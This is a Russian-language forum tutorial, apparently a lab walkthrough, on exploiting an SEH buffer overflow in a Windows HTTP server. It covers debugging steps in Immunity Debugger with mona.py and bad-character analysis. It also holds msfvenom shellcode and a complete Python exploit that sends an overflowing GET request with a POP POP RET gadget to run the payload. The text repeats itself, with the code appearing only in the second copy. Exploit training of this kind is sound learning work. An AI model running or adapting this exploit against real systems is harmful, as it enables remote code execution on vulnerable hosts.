Тестирование проводилось на Windows XP SP3 x86 En (no dep)
Уязвимое ПО:
Запускаем ПО
И аттачимся отладчиком Immunity Debugger к процессу, дальше передаем программе входной поток. Посмотрим как оно себя поведет.
посмотрим Chain SEH
Сгенерирум строку паттерн используя плагин mona.py
!mona pc 50000
Скопируем сгенерированную строку ASCII строку в наш триггер сплойт. Перезапустим сервер, приаттачимся, и запустим сплойт.
После чего пишем в строке команд отладчика
!mona findmsp
Чтобы выполнить циклический поиск по патернам, сгенерированной нами ASCII строки. Mona будет достаточно долговато искать , но ничего подожем.
И видим, что смещение до SEH = 4061
Проверим. Пошлем 4061 байт из символов «A» и еще 1000 символов из «B».
Отлично.
Теперь самое время проверить входной поток на плохие символы (Bad chars), так как шеллкод может не отработать, самый лучший вариант это сделать, это после перезаписи адреса возврата или перезаписи SEH, что мы с вами и сделали. И так приступим. Пишем
!mona bytearray –cpb "\x00"
Для того, чтобы сгенерировать массив bad chars. Сгенерированный массив копируем в эксплойт. И по традиции сразу убираем x00 нулбайт. Все остальные оставляем. И так запускаем сервер, аттачимся отладчиком, запускаем сплойт и смотрим в окно стека. Какие байты отображаются, а какие нет.
!mona compare -f C:\logs\<папка программы>\bytearray.bin -a <адрес в стеке откуда начинаются badchar>
Результат работы
Убираем еще один плохой символ «\x20»
!mona bytearray -cpb "\x00\x20"
Видим что тут нам выдало не один плохой символ, а несколько: 25, 26, 27, 2b, 2f. Не спешим уберем 25
!mona bytearray -cpb "\x00\x20\x25"
Затем опять сравниваем.
Как мы видим байты 26 и 27 были ложными, а 2b остался. Исключим теперь его.
!mona bytearray -cpb "\x00\x20\x25\x2b"
Отлично. Теперь нам нужно и можно сгенерировать шеллкод. Добавим параметр -b для того, что исключить найденные нами bad char’s.
msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00\x20\x25\x2b'
Дело за малым. Теперь найдем гаджет pop pop ret. Для того что перезаписать SEH.
!mona seh -n
А в nSEH положим гаджет POP POP RET по дефолту 90 90 32 eb
Так же остается добавить цепочку нонов и собрать все части сплойта вместе. И того алгоритм эксплуатации у нас выглядит следующим образом.
1. Перезапись SEH
2. OFFSET до SEH ( !mona findmsp)
3. nSEH - Short JMP (90 90 32 EB - POP POP RET NSEH)
4. SEH - POP-POP-RET (POP POP RET из любой .DLL !mona seh -n)
5. Срезка NOP'ов
6. Шеллкод
Запускаем сплойт
Иии видим спавн калькулятора
Уязвимое ПО:
Ссылка скрыта от гостей
Запускаем ПО
И аттачимся отладчиком Immunity Debugger к процессу, дальше передаем программе входной поток. Посмотрим как оно себя поведет.
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from struct import pack
import socket
payload = "A"*5000
exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
exploit.connect(("127.0.0.1",80))
exploit.send("GET " + payload + " HTTP/1.1\r\n")
exploit.close()
посмотрим Chain SEH
Сгенерирум строку паттерн используя плагин mona.py
!mona pc 50000
Скопируем сгенерированную строку ASCII строку в наш триггер сплойт. Перезапустим сервер, приаттачимся, и запустим сплойт.
После чего пишем в строке команд отладчика
!mona findmsp
Чтобы выполнить циклический поиск по патернам, сгенерированной нами ASCII строки. Mona будет достаточно долговато искать , но ничего подожем.
И видим, что смещение до SEH = 4061
Проверим. Пошлем 4061 байт из символов «A» и еще 1000 символов из «B».
Отлично.
Теперь самое время проверить входной поток на плохие символы (Bad chars), так как шеллкод может не отработать, самый лучший вариант это сделать, это после перезаписи адреса возврата или перезаписи SEH, что мы с вами и сделали. И так приступим. Пишем
!mona bytearray –cpb "\x00"
Для того, чтобы сгенерировать массив bad chars. Сгенерированный массив копируем в эксплойт. И по традиции сразу убираем x00 нулбайт. Все остальные оставляем. И так запускаем сервер, аттачимся отладчиком, запускаем сплойт и смотрим в окно стека. Какие байты отображаются, а какие нет.
!mona compare -f C:\logs\<папка программы>\bytearray.bin -a <адрес в стеке откуда начинаются badchar>
Результат работы
Убираем еще один плохой символ «\x20»
!mona bytearray -cpb "\x00\x20"
Видим что тут нам выдало не один плохой символ, а несколько: 25, 26, 27, 2b, 2f. Не спешим уберем 25
!mona bytearray -cpb "\x00\x20\x25"
Затем опять сравниваем.
Как мы видим байты 26 и 27 были ложными, а 2b остался. Исключим теперь его.
!mona bytearray -cpb "\x00\x20\x25\x2b"
Отлично. Теперь нам нужно и можно сгенерировать шеллкод. Добавим параметр -b для того, что исключить найденные нами bad char’s.
msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00\x20\x25\x2b'
Код:
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1078 bytes
buf = b""
buf += b"\xdb\xdd\xb8\x03\xb9\xc2\xe9\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x31\x31\x43\x18\x03\x43\x18\x83\xc3\x07\x5b"
buf += b"\x37\x15\xef\x19\xb8\xe6\xef\x7d\x30\x03\xde\xbd\x26"
buf += b"\x47\x70\x0e\x2c\x05\x7c\xe5\x60\xbe\xf7\x8b\xac\xb1"
buf += b"\xb0\x26\x8b\xfc\x41\x1a\xef\x9f\xc1\x61\x3c\x40\xf8"
buf += b"\xa9\x31\x81\x3d\xd7\xb8\xd3\x96\x93\x6f\xc4\x93\xee"
buf += b"\xb3\x6f\xef\xff\xb3\x8c\xa7\xfe\x92\x02\xbc\x58\x35"
buf += b"\xa4\x11\xd1\x7c\xbe\x76\xdc\x37\x35\x4c\xaa\xc9\x9f"
buf += b"\x9d\x53\x65\xde\x12\xa6\x77\x26\x94\x59\x02\x5e\xe7"
buf += b"\xe4\x15\xa5\x9a\x32\x93\x3e\x3c\xb0\x03\x9b\xbd\x15"
buf += b"\xd5\x68\xb1\xd2\x91\x37\xd5\xe5\x76\x4c\xe1\x6e\x79"
buf += b"\x83\x60\x34\x5e\x07\x29\xee\xff\x1e\x97\x41\xff\x41"
buf += b"\x78\x3d\xa5\x0a\x94\x2a\xd4\x50\xf2\xad\x6a\xef\xb0"
buf += b"\xae\x74\xf0\xe4\xc6\x45\x7b\x6b\x90\x59\xae\xc8\x7e"
buf += b"\xb8\x7b\x24\x17\x65\xee\x85\x7a\x96\xc4\xc9\x82\x15"
buf += b"\xed\xb1\x70\x05\x84\xb4\x3d\x81\x74\xc4\x2e\x64\x7b"
buf += b"\x7b\x4e\xad\x18\x1a\xdc\x2d\xf1\xb9\x64\xd7\x0d"
Дело за малым. Теперь найдем гаджет pop pop ret. Для того что перезаписать SEH.
!mona seh -n
А в nSEH положим гаджет POP POP RET по дефолту 90 90 32 eb
Так же остается добавить цепочку нонов и собрать все части сплойта вместе. И того алгоритм эксплуатации у нас выглядит следующим образом.
1. Перезапись SEH
2. OFFSET до SEH ( !mona findmsp)
3. nSEH - Short JMP (90 90 32 EB - POP POP RET NSEH)
4. SEH - POP-POP-RET (POP POP RET из любой .DLL !mona seh -n)
5. Срезка NOP'ов
6. Шеллкод
Запускаем сплойт
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from struct import pack
import socket
bad_chars = ""
bad_chars += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
bad_chars += "\x21\x22\x23\x24\x26\x27\x28\x29\x2a\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
bad_chars += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
bad_chars += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
bad_chars += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
bad_chars += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
bad_chars += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
bad_chars += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# !mona bytearray -cpb "\x00\x20\x25\x2b"
# !mona compare -f C:\logs\fsws\bytearray.bin -a 01D073BC
#bad chars \x00\x20\x25\x2b
#shellcode
shellcode = ""
shellcode += "\xdb\xdd\xb8\x03\xb9\xc2\xe9\xd9\x74\x24\xf4\x5b\x29"
shellcode += "\xc9\xb1\x31\x31\x43\x18\x03\x43\x18\x83\xc3\x07\x5b"
shellcode += "\x37\x15\xef\x19\xb8\xe6\xef\x7d\x30\x03\xde\xbd\x26"
shellcode += "\x47\x70\x0e\x2c\x05\x7c\xe5\x60\xbe\xf7\x8b\xac\xb1"
shellcode += "\xb0\x26\x8b\xfc\x41\x1a\xef\x9f\xc1\x61\x3c\x40\xf8"
shellcode += "\xa9\x31\x81\x3d\xd7\xb8\xd3\x96\x93\x6f\xc4\x93\xee"
shellcode += "\xb3\x6f\xef\xff\xb3\x8c\xa7\xfe\x92\x02\xbc\x58\x35"
shellcode += "\xa4\x11\xd1\x7c\xbe\x76\xdc\x37\x35\x4c\xaa\xc9\x9f"
shellcode += "\x9d\x53\x65\xde\x12\xa6\x77\x26\x94\x59\x02\x5e\xe7"
shellcode += "\xe4\x15\xa5\x9a\x32\x93\x3e\x3c\xb0\x03\x9b\xbd\x15"
shellcode += "\xd5\x68\xb1\xd2\x91\x37\xd5\xe5\x76\x4c\xe1\x6e\x79"
shellcode += "\x83\x60\x34\x5e\x07\x29\xee\xff\x1e\x97\x41\xff\x41"
shellcode += "\x78\x3d\xa5\x0a\x94\x2a\xd4\x50\xf2\xad\x6a\xef\xb0"
shellcode += "\xae\x74\xf0\xe4\xc6\x45\x7b\x6b\x90\x59\xae\xc8\x7e"
shellcode += "\xb8\x7b\x24\x17\x65\xee\x85\x7a\x96\xc4\xc9\x82\x15"
shellcode += "\xed\xb1\x70\x05\x84\xb4\x3d\x81\x74\xc4\x2e\x64\x7b"
shellcode += "\x7b\x4e\xad\x18\x1a\xdc\x2d\xf1\xb9\x64\xd7\x0d"
payload = "A" * 4061 # offset SEH
#payload += "B"*999
#payload += bad_chars
payload += pack('I', 0x909032eb) #nseh = 90 90 32 eb
payload += pack('I', 0x100195f2) #seh= pop esi # pop ecx # ret !mona seh from ImageLoad.dll !
payload += '\x90'*100
payload += shellcode
exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
exploit.connect(("127.0.0.1", 80))
exploit.send("GET " + payload + " HTTP/1.1\r\n")
exploit.close()
Иии видим спавн калькулятора
Последнее редактирование: